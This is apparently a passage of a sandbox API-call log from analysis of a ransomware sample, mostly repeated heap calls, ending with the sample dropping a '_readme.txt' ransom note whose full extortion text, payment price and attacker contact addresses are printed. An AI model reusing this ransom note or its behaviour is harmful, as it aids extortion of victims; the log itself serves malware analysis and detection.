lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.967] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.967] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.968] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.968] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.969] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.970] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.970] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.971] PathFindFileNameW (pszPath="C:\\Boot\\zh-HK\\") returned="zh-HK\\" [0124.971] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.971] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.972] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.972] PathFindFileNameW (pszPath="") returned="" [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.972] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.972] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.972] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e9368 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.972] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x81c) returned 0x30e9368 [0124.972] PathAppendW (in: pszPath="C:\\Boot\\zh-HK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 1 [0124.972] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.973] PathFileExistsW (pszPath="C:\\Boot\\zh-HK\\_readme.txt") returned 0 [0124.973] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.973] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.973] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal 